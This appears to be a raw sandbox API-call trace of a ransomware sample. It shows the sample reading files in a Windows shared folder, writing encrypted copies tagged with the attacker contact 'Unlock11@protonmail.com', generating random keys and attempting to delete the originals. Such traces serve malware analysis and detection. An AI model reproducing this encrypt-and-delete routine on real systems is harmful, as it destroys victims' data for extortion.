GetCurrentThreadId () returned 0x9b0 [0120.245] GetLastError () returned 0x0 [0120.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0120.245] GetCurrentThreadId () returned 0x9b0 [0120.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0120.246] GetLastError () returned 0x0 [0120.246] GetLastError () returned 0x0 [0120.246] GetLastError () returned 0x0 [0120.246] GetLastError () returned 0x0 [0120.246] GetCurrentThreadId () returned 0x9b0 [0120.246] GetLastError () returned 0x0 [0120.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0120.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265368 [0120.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0120.246] GetCurrentThreadId () returned 0x9b0 [0120.246] GetLastError () returned 0x0 [0120.247] GetLastError () returned 0x0 [0120.247] GetLastError () returned 0x0 [0120.247] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.247] GetFileType (hFile=0x39c) returned 0x1 [0120.247] GetCurrentThreadId () returned 0x9b0 [0120.247] GetFileType (hFile=0x39c) returned 0x1 [0120.247] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.248] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.248] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.248] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.248] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.248] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.248] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.248] GetCurrentThreadId () returned 0x9b0 [0120.248] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.249] GetFileType (hFile=0x3ac) returned 0x1 [0120.249] GetCurrentThreadId () returned 0x9b0 [0120.250] GetFileType (hFile=0x3ac) returned 0x1 [0120.250] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.250] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.250] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.250] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.251] GetCurrentThreadId () returned 0x9b0 [0120.251] GetCurrentThreadId () returned 0x9b0 [0120.251] GetCurrentThreadId () returned 0x9b0 [0120.253] GetCurrentThreadId () returned 0x9b0 [0120.253] GetCurrentThreadId () returned 0x9b0 [0120.254] GetCurrentThreadId () returned 0x9b0 [0120.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0120.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.256] GetCurrentThreadId () returned 0x9b0 [0120.257] GetCurrentThreadId () returned 0x9b0 [0120.257] GetCurrentThreadId () returned 0x9b0 [0120.258] GetCurrentThreadId () returned 0x9b0 [0120.258] GetCurrentThreadId () returned 0x9b0 [0120.258] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.259] GetCurrentThreadId () returned 0x9b0 [0120.260] GetCurrentThreadId () returned 0x9b0 [0120.261] GetCurrentThreadId () returned 0x9b0 [0120.262] GetCurrentThreadId () returned 0x9b0 [0120.263] GetCurrentThreadId () returned 0x9b0 [0120.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0120.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0120.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.263] GetCurrentThreadId () returned 0x9b0 [0120.264] GetCurrentThreadId () returned 0x9b0 [0120.265] GetCurrentThreadId () returned 0x9b0 [0120.266] GetCurrentThreadId () returned 0x9b0 [0120.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0120.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.267] GetCurrentThreadId () returned 0x9b0 [0120.268] GetCurrentThreadId () returned 0x9b0 [0120.270] GetCurrentThreadId () returned 0x9b0 [0120.270] GetCurrentThreadId () returned 0x9b0 [0120.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.270] GetCurrentThreadId () returned 0x9b0 [0120.271] GetCurrentThreadId () returned 0x9b0 [0120.272] GetCurrentThreadId () returned 0x9b0 [0120.272] GetCurrentThreadId () returned 0x9b0 [0120.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.272] GetCurrentThreadId () returned 0x9b0 [0120.273] GetCurrentThreadId () returned 0x9b0 [0120.274] GetCurrentThreadId () returned 0x9b0 [0120.275] GetCurrentThreadId () returned 0x9b0 [0120.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.275] GetCurrentThreadId () returned 0x9b0 [0120.277] GetCurrentThreadId () returned 0x9b0 [0120.277] GetCurrentThreadId () returned 0x9b0 [0120.277] GetCurrentThreadId () returned 0x9b0 [0120.277] GetCurrentThreadId () returned 0x9b0 [0120.279] GetCurrentThreadId () returned 0x9b0 [0120.280] GetCurrentThreadId () returned 0x9b0 [0120.281] GetCurrentThreadId () returned 0x9b0 [0120.281] GetCurrentThreadId () returned 0x9b0 [0120.282] GetCurrentThreadId () returned 0x9b0 [0120.283] GetCurrentThreadId () returned 0x9b0 [0120.283] GetCurrentThreadId () returned 0x9b0 [0120.283] GetCurrentThreadId () returned 0x9b0 [0120.284] GetCurrentThreadId () returned 0x9b0 [0120.286] GetCurrentThreadId () returned 0x9b0 [0120.286] GetCurrentThreadId () returned 0x9b0 [0120.286] GetCurrentThreadId () returned 0x9b0 [0120.288] GetCurrentThreadId () returned 0x9b0 [0120.288] GetCurrentThreadId () returned 0x9b0 [0120.288] GetCurrentThreadId () returned 0x9b0 [0120.288] GetCurrentThreadId () returned 0x9b0 [0120.290] GetCurrentThreadId () returned 0x9b0 [0120.291] GetCurrentThreadId () returned 0x9b0 [0120.291] GetCurrentThreadId () returned 0x9b0 [0120.292] GetCurrentThreadId () returned 0x9b0 [0120.293] GetCurrentThreadId () returned 0x9b0 [0120.293] GetCurrentThreadId () returned 0x9b0 [0120.294] GetCurrentThreadId () returned 0x9b0 [0120.294] GetCurrentThreadId () returned 0x9b0 [0120.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0120.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0120.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0120.295] GetCurrentThreadId () returned 0x9b0 [0120.297] GetCurrentThreadId () returned 0x9b0 [0120.298] GetCurrentThreadId () returned 0x9b0 [0120.298] GetCurrentThreadId () returned 0x9b0 [0120.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0120.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.299] GetCurrentThreadId () returned 0x9b0 [0120.307] GetCurrentThreadId () returned 0x9b0 [0120.307] GetCurrentThreadId () returned 0x9b0 [0120.311] GetCurrentThreadId () returned 0x9b0 [0120.365] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x6305) returned 0x35c5908 [0120.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0120.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0120.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x6308) returned 0x35bc9f0 [0120.365] GetLastError () returned 0x0 [0120.365] GetLastError () returned 0x0 [0120.365] GetLastError () returned 0x0 [0120.365] GetLastError () returned 0x0 [0120.365] GetLastError () returned 0x0 [0120.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0120.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0120.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.366] GetLastError () returned 0x0 [0120.366] GetLastError () returned 0x0 [0120.367] GetLastError () returned 0x0 [0120.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cbc18 | out: hHeap=0x2ad0000) returned 1 [0120.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.367] GetLastError () returned 0x0 [0120.367] GetLastError () returned 0x0 [0120.367] GetLastError () returned 0x0 [0120.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.367] GetLastError () returned 0x0 [0120.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0120.368] CloseHandle (hObject=0x3ac) returned 1 [0120.368] GetLastError () returned 0x0 [0120.368] GetLastError () returned 0x0 [0120.368] GetLastError () returned 0x0 [0120.368] CloseHandle (hObject=0x39c) returned 1 [0120.368] GetLastError () returned 0x0 [0120.368] GetLastError () returned 0x0 [0120.369] GetLastError () returned 0x0 [0120.369] GetLastError () returned 0x0 [0120.369] GetLastError () returned 0x0 [0120.369] GetLastError () returned 0x0 [0120.369] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0120.369] GetLastError () returned 0x5 [0120.369] GetLastError () returned 0x5 [0120.369] GetLastError () returned 0x5 [0120.370] GetLastError () returned 0x5 [0120.370] GetLastError () returned 0x5 [0120.370] LocalFree (hMem=0x1053cb0) returned 0x0 [0120.370] GetLastError () returned 0x5 [0120.370] GetLastError () returned 0x5 [0120.370] GetLastError () returned 0x5 [0120.370] GetLastError () returned 0x5 [0120.370] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat", lpFilePart=0x9bada4*="hwrusash.dat") returned 0x3f [0120.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0120.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0120.370] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0120.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0120.371] GetLastError () returned 0x0 [0120.371] GetLastError () returned 0x0 [0120.371] GetLastError () returned 0x0 [0120.371] GetLastError () returned 0x0 [0120.371] GetLastError () returned 0x0 [0120.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0120.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0120.371] GetLastError () returned 0x0 [0120.371] GetLastError () returned 0x0 [0120.372] GetLastError () returned 0x0 [0120.372] GetLastError () returned 0x0 [0120.372] GetLastError () returned 0x0 [0120.372] GetLastError () returned 0x0 [0120.372] GetLastError () returned 0x0 [0120.372] GetLastError () returned 0x0 [0120.372] GetLastError () returned 0x0 [0120.372] GetLastError () returned 0x0 [0120.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0120.372] GetLastError () returned 0x0 [0120.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0120.373] GetLastError () returned 0x0 [0120.373] GetLastError () returned 0x0 [0120.373] GetLastError () returned 0x0 [0120.373] GetLastError () returned 0x0 [0120.373] GetLastError () returned 0x0 [0120.373] GetLastError () returned 0x0 [0120.373] GetLastError () returned 0x0 [0120.373] GetLastError () returned 0x0 [0120.373] GetLastError () returned 0x0 [0120.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0120.374] GetLastError () returned 0x0 [0120.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0120.374] GetLastError () returned 0x0 [0120.374] GetLastError () returned 0x0 [0120.374] GetLastError () returned 0x0 [0120.374] GetLastError () returned 0x0 [0120.374] GetLastError () returned 0x0 [0120.374] GetLastError () returned 0x0 [0120.374] GetLastError () returned 0x0 [0120.374] GetLastError () returned 0x0 [0120.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0120.375] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380)) returned 1 [0120.375] GetLastError () returned 0x0 [0120.375] GetLastError () returned 0x0 [0120.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0120.375] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a28c | out: pbBuffer=0x366a28c) returned 1 [0120.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0120.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0120.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0120.376] GetLastError () returned 0x0 [0120.376] GetLastError () returned 0x0 [0120.376] GetLastError () returned 0x0 [0120.376] GetLastError () returned 0x0 [0120.376] GetLastError () returned 0x0 [0120.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0120.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0120.377] GetLastError () returned 0x0 [0120.377] GetLastError () returned 0x0 [0120.377] GetLastError () returned 0x0 [0120.377] GetLastError () returned 0x0 [0120.377] GetLastError () returned 0x0 [0120.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0120.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265318 [0120.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0120.377] GetLastError () returned 0x0 [0120.377] GetLastError () returned 0x0 [0120.377] GetLastError () returned 0x0 [0120.378] GetLastError () returned 0x0 [0120.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0120.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265288 [0120.378] GetLastError () returned 0x0 [0120.378] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0120.378] GetFileType (hFile=0x39c) returned 0x1 [0120.378] GetLastError () returned 0x0 [0120.378] GetLastError () returned 0x0 [0120.379] GetFileType (hFile=0x39c) returned 0x1 [0120.379] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.379] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.379] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.379] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.379] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.379] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.379] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.379] GetLastError () returned 0x0 [0120.379] GetCurrentThreadId () returned 0x9b0 [0120.379] GetLastError () returned 0x0 [0120.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0120.380] GetLastError () returned 0x0 [0120.380] GetLastError () returned 0x0 [0120.380] GetLastError () returned 0x0 [0120.380] GetLastError () returned 0x0 [0120.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.380] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265288 [0120.380] GetLastError () returned 0x0 [0120.380] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0120.381] GetFileType (hFile=0x3ac) returned 0x1 [0120.381] GetLastError () returned 0x0 [0120.381] GetCurrentThreadId () returned 0x9b0 [0120.381] GetLastError () returned 0x0 [0120.381] GetFileType (hFile=0x3ac) returned 0x1 [0120.381] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0120.381] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.381] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.381] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.382] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.382] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0120.382] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0120.382] GetLastError () returned 0x0 [0120.382] GetCurrentThreadId () returned 0x9b0 [0120.382] GetLastError () returned 0x0 [0120.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0120.382] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0120.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0120.382] GetLastError () returned 0x0 [0120.382] GetLastError () returned 0x0 [0120.383] GetCurrentThreadId () returned 0x9b0 [0120.383] GetLastError () returned 0x0 [0120.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0120.383] GetLastError () returned 0x0 [0120.383] GetLastError () returned 0x0 [0120.383] GetCurrentThreadId () returned 0x9b0 [0120.383] GetLastError () returned 0x0 [0120.383] GetLastError () returned 0x0 [0120.385] GetLastError () returned 0x0 [0120.386] GetCurrentThreadId () returned 0x9b0 [0120.386] GetLastError () returned 0x0 [0120.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0120.386] GetCurrentThreadId () returned 0x9b0 [0120.386] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.387] GetLastError () returned 0x0 [0120.387] GetLastError () returned 0x0 [0120.387] GetLastError () returned 0x0 [0120.387] GetLastError () returned 0x0 [0120.387] GetCurrentThreadId () returned 0x9b0 [0120.387] GetLastError () returned 0x0 [0120.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0120.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0120.388] GetLastError () returned 0x0 [0120.389] GetLastError () returned 0x0 [0120.390] GetCurrentThreadId () returned 0x9b0 [0120.390] GetLastError () returned 0x0 [0120.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0120.390] GetLastError () returned 0x0 [0120.391] GetLastError () returned 0x0 [0120.391] GetCurrentThreadId () returned 0x9b0 [0120.391] GetLastError () returned 0x0 [0120.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.391] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0120.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0120.392] GetCurrentThreadId () returned 0x9b0 [0120.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0120.392] GetLastError () returned 0x0 [0120.392] GetLastError () returned 0x0 [0120.392] GetLastError () returned 0x0 [0120.392] GetLastError () returned 0x0 [0120.392] GetCurrentThreadId () returned 0x9b0 [0120.392] GetLastError () returned 0x0 [0120.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0120.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0120.393] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0120.393] GetLastError () returned 0x0 [0120.394] GetLastError () returned 0x0 [0120.394] GetCurrentThreadId () returned 0x9b0 [0120.394] GetLastError () returned 0x0 [0120.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0120.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0120.394] GetLastError () returned 0x0 [0120.396] GetLastError () returned 0x0 [0120.396] GetCurrentThreadId () returned 0x9b0 [0120.396] GetLastError () returned 0x0 [0120.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0120.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0120.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0120.397] GetCurrentThreadId () returned 0x9b0 [0120.397] GetLastError () returned 0x0 [0120.397] GetLastError () returned 0x0 [0120.397] GetLastError () returned 0x0 [0120.397] GetLastError () returned 0x0 [0120.397] GetCurrentThreadId () returned 0x9b0 [0120.398] GetLastError () returned 0x0 [0120.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0120.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0120.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 